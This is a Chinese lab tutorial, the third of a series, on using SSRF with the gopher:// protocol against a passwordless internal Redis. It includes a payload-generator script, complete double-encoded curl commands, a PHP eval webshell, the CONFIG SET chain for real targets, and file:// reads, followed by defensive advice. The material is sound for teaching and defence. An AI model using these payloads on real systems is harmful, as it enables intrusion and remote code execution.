本文为教学用途,所有复现均在作者自建靶场内完成。请勿在未授权的情况下对真实系统进行测试。 根据《网络安全法》,未经授权测试、攻击他人系统属于违法犯罪行为。禁止复制 本文Payload 对外部站点进行测试,违规使用造成的一切后果由使用者自行负责。
接上篇与中篇。你已经会:用 SSRF 读内网服务(上篇)、绕过 IP 黑名单与 302 跳转(中篇)。但这些都还停留在"读"。本篇是真正的重头戏:利用
gopher://协议,通过 SSRF 打穿内网无密码 Redis,读取敏感数据,并写入 webshell 实现 RCE。
1. 终极大招:gopher 协议打穿无密码 Redis(写入 webshell)
前面都是"读数据"。现在上强度------真正的危害:通过 SSRF 实现 RCE(远程命令执行)。
1.1 两个必要的铺垫(为什么是 6379,为什么用 raw 接口)
铺垫 1:攻击者怎么知道 6379 是 Redis?
回顾上篇第 4.2 节:我们用 SSRF 扫端口时,访问 127.0.0.1:6379/ 返回了 Empty reply from server,当时只判断出"端口开着、但不是 HTTP 服务"。那怎么知道它是 Redis?
其实很好猜------6379 就是 Redis 的默认端口 。在真实渗透里,攻击者扫到 6379 后,"这大概率是 Redis"几乎是本能反应(就像 3306→MySQL、27017→MongoDB、6379→Redis)。为了实锤,可以再用 gopher 发一条 PING,如果收到 +PONG,就 100% 确认是 Redis 了------这正是下面 1.5 要做的事。
铺垫 2:raw 接口又是哪来的?
但在真实世界 里:开发者通常根本不会想到去限制协议。很多功能(网页转存、在线代理、URL 检测)直接拿用户给的 URL 交给底层库请求,gopher/dict/file 全都放行。所以真实场景里:
-
攻击者拿到的往往就是某个
?url=参数,不会区分"这个接口能不能发 gopher"; -
他会把同一个 payload 往
fetch、proxy、raw......(或者真实环境里的url/target/link)挨个试一遍 ,哪个能返回+PONG就用哪个。
那真实环境里我要不要担心"这个接口限制协议了"? 担心,但顺序别搞反:先试,试了再说。 因为"限制协议"是需要开发者主动做的(
CURLOPT_PROTOCOLS之类的配置),而现实中大量系统没做。第一次遇到某功能,直接拿 gopher payload 试一次,通了就赚了,不通再想别的招。这比"猜它限不限制"高效得多。
所以攻击者的路径是:扫到 6379 → 判断是 Redis → 用 gopher payload 试各个能透传的接口 → 发现 raw(或某个接口)能通,就用它发起攻击。
1.2 为什么选 Redis?
内网的 Redis 默认没有密码 (protected-mode no),而且 Redis 使用的是简单的文本协议(RESP):你只要按格式发送字节,Redis 就会执行命令。
回顾上篇埋的伏笔:gopher:// 协议能让你往目标端口原样投喂任意字节。那么:
gopher://127.0.0.1:6379/_<一段 RESP 格式的字节>
就等价于"用一条命令向 Redis 发送若干条 Redis 命令"。SSRF 从"读"升级成了"写"。
1.3 先搞懂 Redis 的 RESP 协议
在 Redis 的技术语境下,RESP 指的是 Redis 序列化协议(Redis Serialization Protocol)。它是 Redis 客户端和服务器端之间进行通信的"语言",规定了数据在网络上如何编码和传输
Redis 客户端和服务端对话,用的是 RESP 协议。它其实就是"星号开头 + 每段带长度"的纯文本。
RESP2 是当前广泛使用的版本,通过第一个字节 来标识数据类型,并用 \r\n 作为每个部分的结束符。主要包含以下基础类型:
| 数据类型 | 第一个字节 | 示例 | 说明 |
|---|---|---|---|
| 简单字符串 | + |
+OK\r\n |
用于返回简单的状态信息,如 OK。 |
| 错误信息 | - |
-ERR unknown command\r\n |
用于返回错误消息,客户端通常将其视为异常。 |
| 整数 | : |
:1000\r\n |
用于返回整数,如 INCR、LLEN 等命令的返回值。 |
| 批量字符串 | $ |
$6\r\nfoobar\r\n |
表示一个二进制安全的字符串,长度由 $ 后的数字指定。 $-1\r\n 表示 null。 |
| 数组 | * |
*2\r\n$3\r\nfoo\r\n$3\r\nbar\r\n |
表示一组有序的元素,每个元素可以是任意其他 RESP 类型。这也是客户端发送命令的格式。 |
客户端如何发送命令?
客户端会将命令及其参数编码成一个 RESP 数组 (批量字符串类型),发送给服务器。例如,命令
SET mykey myvalue会被编码为:*3\r\n$3\r\nSET\r\n$5\r\nmykey\r\n$7\r\nmyvalue\r\n
例如:
发送 PING(一个命令,一个参数 PING):
*1\r\n$4\r\nPING\r\n
拆开看:
| 片段 | 含义 |
|---|---|
*1 |
后面有 1 个参数块 |
$4 |
接下来这个参数的长度是 4 字节 |
PING |
参数内容 |
\r\n |
每个块的换行分隔符 |
发送 SET name zhangsan(三个参数:SET、name、zhangsan):
*3\r\n$3\r\nSET\r\n$4\r\nname\r\n$8\r\nzhangsan\r\n
\r\n是什么? 就是回车换行,十六进制是0x0d 0x0a,在 URL 编码里写作%0d%0a。它是 RESP 协议里分割"块"的标记,就像 HTTP 里的换行一样。后面所有 payload 里的%0d%0a都是它。
1.4 关键:为什么还要"双重 URL 编码"
我们最终要通过 curl 把 payload 放进 URL 参数 raw 里发给靶机。数据会经过两次解码:
-
第一次 :你的浏览器/curl 发出 HTTP 请求时,URL 参数里的
%xx会被解码一次(这是 HTTP 的规则); -
第二次 :靶机 PHP 拿到
$_GET['raw'],再把它交给 cURL 去请求 gopher 地址时,cURL 又会把 gopher 地址里的%xx再解码一次。
所以,想让 Redis 最终收到"原始的 *1\r\n$4\r\nPING\r\n",我们需要:
-
把这些原始字节先做一次 URL 编码(给 cURL 解);
-
再把整个结果再做一次 URL 编码(给 HTTP 第一次解码)。
这就是"双重编码"。可能看到这里你还是晕:%252A 到底是啥?
以 PING 命令为例:
| 层 | 长什么样 | 谁在用 |
|---|---|---|
| ① 原始字节 | *1\r\n$4\r\nPING\r\n |
Redis 真正收到的 |
| ② 单层编码 | gopher://127.0.0.1:6379/_%2A1%0D%0A%244%0D%0APING%0D%0A |
靶机 cURL 解析时看到的 |
| ③ 双层编码 | gopher://127.0.0.1:6379/_%252A1%250D%250A... |
你(攻击者)放在 HTTP 参数里发的 |
每一层的 %xx 都表示"这一层是 URL 编码",解码一次就降一层:%252A →(HTTP 第一次解码)→ %2A →(cURL 第二次解码)→ * →(Redis 收到原始字节)。
那为什么不直接把原始字节
*1\r\n...塞进 URL 参数?因为 URL 参数里有规定:
*、\r、\n、$这些字符不能"裸着"出现在 URL 里(会破坏 URL 结构,尤其\r\n甚至可能被解析成换行造成歧义)。所以每一层传输前都必须编码成安全字符。层数 = 你隔了几层才把数据交给目标。 我们隔了两层(HTTP 参数 → PHP → cURL → Redis),所以要编两次。
下面是一个通用生成脚本 ,你想发任何 Redis 命令链都行(PING、GET、SET......都靠它),后面 1.5~1.7 的所有 payload 都是用这个脚本生成的。把 resp() 的参数换成你要发的命令即可:
from urllib.parse import quote
def resp(*args): # 把"一条命令的若干参数"拼成 RESP 协议字节
out = b'*' + str(len(args)).encode() + b'\r\n'
for a in args:
out += b'$' + str(len(a)).encode() + b'\r\n' + a + b'\r\n'
return out
# ===== 在这里组装命令链 =====
cmds = resp(b'PING') # 例1:PING
cmds += resp(b'QUIT') # 加 QUIT 让连接关闭
# =============================
once = quote(cmds) # 第一层编码(给靶机 cURL 解)
final = 'gopher://127.0.0.1:6379/_' + quote(once) # 再编一次,得到可直接发的完整 URL
print("命令编码(%2A、%0D%0A 这些):", once)
print("最终要发的完整 URL:", final)
把这脚本存成 gen_gopher.py。后面每发一条新命令,只需改 cmds = ... 那两行,把脚本输出的"完整 URL"整个复制进 curl 就行。别再手写 payload,容易错。
为什么脚本里
gopher://127.0.0.1:6379/_是明文,只有命令部分编码两次?因为
://、/、:这些符号出现在 HTTP 参数里不会破坏 URL 结构(?raw=gopher://127.0.0.1:6379/_...是合法的),而命令里的*、$、\r\n才必须编码。所以只需对_后面的命令字节做"两层编码":第一层给靶机 cURL 解,第二层给 HTTP 参数解。这也是为什么文档里所有 payload 都是gopher://127.0.0.1:6379/_%252A...这种"前缀明文 + 命令双编码"的样子。
为什么不直接手写gopher://127.0.0.1:6379/_PING? 因为 PING 命令在 RESP 协议里不是光秃秃的PING,它需要带上*1\r\n$4\r\n这些长度头,Redis 才认识。裸发PING,Redis 会报协议错误。所以要老老实实按 RESP 格式编码。
1.5 第一步:用 gopher 探测 Redis 存活(PING)
先把 1.4 脚本的 cmds 改成 cmds = resp(b'PING') + resp(b'QUIT') 运行一次,脚本会打印"命令编码"和"完整 URL"两行。下面这份就是脚本生成的真实结果。
我们在命令末尾追加一条 QUIT(让 Redis 主动断开连接,否则 PING 后连接不关闭会导致 cURL 超时------这是实战中的小技巧)。
命令字节为:*1\r\n4\\r\\nPING\\r\\n\*1\\r\\n4\r\nQUIT\r\n
脚本输出的"命令编码"是:
%2A1%0D%0A%244%0D%0APING%0D%0A%2A1%0D%0A%244%0D%0AQUIT%0D%0A
脚本输出的"完整 URL"(就是放进 HTTP 参数的完整地址),直接复制进 curl:
gopher://127.0.0.1:6379/_%252A1%250D%250A%25244%250D%250APING%250D%250A%252A1%250D%250A%25244%250D%250AQUIT%250D%250A"
真实返回(+PONG 说明连通,+OK 是 QUIT 的响应):

1.6 第二步:用 gopher 读取 Redis 里的敏感数据(GET flag)
现在把 1.4 脚本的 cmds 改一行:cmds = resp(b'GET', b'internal_flag') + resp(b'QUIT'),运行后把"完整 URL"复制进 curl。下面拆给你看(和 1.5 完全同构,只是命令变了)。
我们提前在内网 Redis 里存了一个 flag:
key: internal_flag value: flag{REDIS_内网服务_未授权_可被SSRF攻击}
构造命令:GET internal_flag + QUIT,RESP 字节为:
*2\r\n$3\r\nGET\r\n$13\r\ninternal_flag\r\n*1\r\n$4\r\nQUIT\r\n
脚本输出的"命令编码"是:
%2A2%0D%0A%243%0D%0AGET%0D%0A%2413%0D%0Ainternal_flag%0D%0A%2A1%0D%0A%244%0D%0AQUIT%0D%0A
脚本输出的"完整 URL",直接复制进 curl(完整可复现命令):
raw=gopher://127.0.0.1:6379/_%252A2%250D%250A%25243%250D%250AGET%250D%250A%252413%250D%250Ainternal_flag%250D%250A%252A1%250D%250A%25244%250D%250AQUIT%250D%250A"
真实返回:
成功了。$51 是 Redis 返回的数据长度(51 字节),下面那行就是 flag 内容,+OK 是 QUIT 的响应。
$51为什么是 51?Redis 返回字符串时用
$长度\r\n内容\r\n的格式,$51表示接下来有 51 字节的字符串。flag{REDIS_内网服务_未授权_可被SSRF攻击}数一数正好 51 个字符。这个长度是 Redis 自动算的,不用我们管。
1.7 第三步:写入 webshell,实现 RCE(完整攻击链)
拿到 flag 只是"读"。真正的杀招是写文件 。Redis 有一个 save 命令,会把内存数据持久化到磁盘文件(RDB)。利用它的思路是:先把 webshell 内容作为数据 SET 进 Redis,再 save 到磁盘上的一个 .php 文件,让 Web 服务器能解析它。
先讲清楚一个容易误解的点。执行下面的命令链:
-
flushall清空 Redis; -
SET x "<?php @eval($_POST["cmd"]);?>"把一句 PHP 木马存进 Redis; -
save把内存数据持久化到磁盘; -
末尾加
QUIT让 Redis 主动断开连接(否则save后连接不关闭,cURL 会超时)。
但注意:save 到底把文件写到哪、叫什么名字,是由 Redis 自己的配置决定的(工作目录 dir + 文件名 dbfilename)。 上面这串 RESP 命令里并没有"我要写到 /tmp/shell.php"这一步------那配置哪来的?
在我们这个靶场里:Redis 是启动脚本用参数预先配好的。
# start.sh 里的启动命令
redis-server --port 6379 --bind 127.0.0.1 \
--protected-mode no --dir /tmp --dbfilename shell.php
--dir /tmp --dbfilename shell.php 让 Redis 一启动就"默认把数据存到 /tmp/shell.php"。所以我们只发 flushall + SET + save,文件就直接落在了 /tmp/shell.php。
那真实环境里,Redis 的 dir/dbfilename 不是我能控制的,怎么让文件写到想要的位置?
这正是真实攻击的关键一步:攻击者需要先用 gopher 发
CONFIG SET dir <web目录>和CONFIG SET dbfilename shell.php,把 Redis 的持久化位置改到 Web 根目录,再 SET+save。经典攻击链其实是:
CONFIG SET dir /var/www/html → 把工作目录改成网站根目录 CONFIG SET dbfilename shell.php → 把数据文件命名为 shell.php SET x "<?php @eval(...) ?>" → 存入木马 SAVE → 落盘成 /var/www/html/shell.php但注意一个现实限制:新版 Redis(7+)把
dir/dbfilename设成了受保护配置,CONFIG SET会直接拒绝 (我们实验时也遇到了ERR CONFIG SET failed ... protected config)。所以现代版本里这条路要配合其他条件(比如 Redis 恰好能写、或用 Redis 的模块/主从复制等更复杂手段)。靶场为了让你专注理解"gopher 打 Redis 写文件"的核心原理,用启动参数简化了这一步 ------真实攻击的难点往往就多在这几条CONFIG SET上。
RESP 命令字节(关键部分):
*1\r\n$8\r\nflushall\r\n
*3\r\n$3\r\nSET\r\n$1\r\nx\r\n$29\r\n<?php @eval($_POST["cmd"]);?>\r\n
*1\r\n$4\r\nsave\r\n
*1\r\n$4\r\nQUIT\r\n
为什么要先
flushall?因为
save会把 Redis 里所有 key 都写进文件。如果 Redis 里残留别的 key,文件内容会更乱。先清空,让文件里只有我们写的木马,干净一些(虽然 RDB 格式还是会带文件头,见下文)。
**写到了/tmp/shell.php,可 /tmp 不是 Web 目录啊,这算 RCE 吗?**答案分两层:
在靶场里 :我们把文件写到
/tmp主要是为了**验证"确实往服务器磁盘写了文件"**这个能力(攻击链的完整性)。真实攻击中 :攻击者会把文件写到 Web 服务器能解析的目录 (如
/var/www/html/shell.php),然后用浏览器访问http://目标/shell.php传参执行命令,那才算拿到 RCE。写到/tmp只是"证明能写",要变成真正可执行的 webshell,dir得指向 Web 目录------这也是上面CONFIG SET dir之所以重要的原因。
用 1.4 的脚本生成(把 cmds 改成下面这行即可):
cmds = resp(b'flushall') + resp(b'SET', b'x', b'<?php @eval($_POST["cmd"]);?>') + resp(b'save') + resp(b'QUIT')
脚本输出的"完整 URL"就是下面这条(完整可复现命令),直接复制进 curl:
curl "http://127.0.0.1:8080/vuln.php?raw=gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250ASET%250D%250A%25241%250D%250Ax%250D%250A%252429%250D%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255B%2522cmd%2522%255D%2529%253B%253F%253E%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%252A1%250D%250A%25244%250D%250AQUIT%250D%250A"
真实返回(四个 +OK,对应 flushall、SET、save、QUIT 各命令都成功执行):
怎么验证写入成功? 注意:/tmp/shell.php 是写在服务器本机的,你没法 ls 它。
但你可以再用一次 SSRF 把它读回来 ------上篇学过 file:// 协议能读服务器本地文件,而 fetch 接口没限制协议:
curl "http://127.0.0.1:8080/vuln.php?fetch=file:///tmp/shell.php"
真实返回(能看到文件里混着我们的 PHP 木马,这就是写入成功的证据):
为什么非要用
file://读回验证?直接在服务器上grep /tmp/shell.php不行吗?不行------那等于你已经拿到服务器 shell 了。攻击者此刻只有 SSRF 这一个入口,没有任何直接在服务器上执行命令的能力。所以唯一能做的验证,就是"继续用 SSRF 这个入口把文件内容读回来"。
这个思路要记住:在拿到 shell 之前,你能做的所有事都得"绕回 SSRF 这个入口"完成。
到这一步,攻击链就完整了:SSRF → gopher 协议 → 无密码 Redis → 写文件(webshell)→ RCE。
文件内容前面那些乱码(
REDIS0012...、redis-ver...)是什么?那是 Redis RDB 持久化格式自带的文件头(二进制元数据),因为我们是用 Redis 的
save把整个数据库 dump 出来的,文件开头自然是 RDB 格式。**但 PHP 解析器遇到
<?php 前会把它当普通文本忽略,遇到<?php ... ?>后照样执行我们的木马代码。所以这个文件依然能作为 webshell 用。**真实攻击者为了"干净",会想办法让木马独立成文件,但原理一致。
2. 完整攻击链回顾(一张图看懂)
你(外部用户,唯一入口是 8080)
│
│ 1. 提交 SSRF payload(内网地址 / gopher 数据)
▼
漏洞靶机 8080(有 SSRF,信任用户 URL)
│ 2. 靶机代你向内网发请求
├──────────────────────────────► 内网管理后台 18080 ──► 泄露 flag
│ 3. 或用 gopher 投喂 RESP 字节
└──────────────────────────────► 内网 Redis 6379 ──► 写 webshell ──► RCE
核心逻辑一句话:你把"服务器"当成了跳板,借它的身份去访问它本不该暴露给你的内网资源,甚至向内网服务下发命令。
3. 怎么防御 SSRF?(对应着上面的每一步攻击)
学到这,你应该能反过来理解防御手段了。防御要"对着攻击点堵":
3.1 根本:不要信任用户 URL 的"目标"
-
如果业务允许,用白名单(只允许访问某个固定域名/IP),而不是黑名单。白名单是"默认拒绝",天然安全。
-
上面所有 IP 绕过、跳转绕过,本质都是"黑名单漏了",白名单能根治。
3.2 解析后再校验(堵 IP 马甲)
不要用字符串匹配去判断 IP。正确做法:先把域名/IP 解析成真实 IP(getaddrinfo),再判断这个 IP 是否属于内网网段(127.0.0.0/8、10.0.0.0/8、172.16.0.0/12、192.168.0.0/16、169.254.0.0/16 等)。这样十六进制、十进制、八进制都逃不掉。
3.3 禁止跳转 + 限制协议
-
关闭
CURLOPT_FOLLOWLOCATION,或对跳转后的地址再次校验; -
只允许 http/https ,禁用
file://、gopher://、dict://等危险协议(PHP 用CURLOPT_PROTOCOLS限定)。
3.4 网络层隔离(纵深防御)
即便应用层有漏洞,如果服务器所在的网络无法访问内网/云元数据 (比如云上关闭了元数据访问、内网服务绑定了强认证、防火墙隔离),SSRF 的威力也会大打折扣。"内网服务默认不设防"才是最危险的部分------给内网服务也加上认证,等于给 SSRF 兜了底。
4. 总结
| 层次 | 内容 | 关键词 | 所在篇 |
|---|---|---|---|
| 概念 | 让服务器代理访问内网/本机 | 服务端请求伪造 | 上篇 |
| 危害 | 探测内网 → 读敏感信息 → 打内网服务 → 拿云凭据 | 元数据 169.254.169.254 | 上篇 |
| 基础利用 | fetch=http://127.0.0.1:18080/admin、端口扫描、猜路径 |
无过滤 SSRF、探测 | 上篇 |
| 协议 | http / file / gopher | gopher 投喂任意字节 | 上篇 / 下篇 |
| 绕过 | 十六进制/十进制/八进制 IP、302 跳转、DNS 重绑定 | 字符串匹配 vs 数字解析 | 中篇 |
| 进阶利用 | gopher 打无密码 Redis 写 webshell | RESP 协议、双重编码 | 下篇 |
| 防御 | 白名单、解析后校验、禁协议、网络隔离 | 纵深防御 | 下篇 |
给初学者的最后一句建议:SSRF 看着简单,但它是"内网渗透的敲门砖",真正的威力来自你对内网服务(Redis、Docker、云元数据)的理解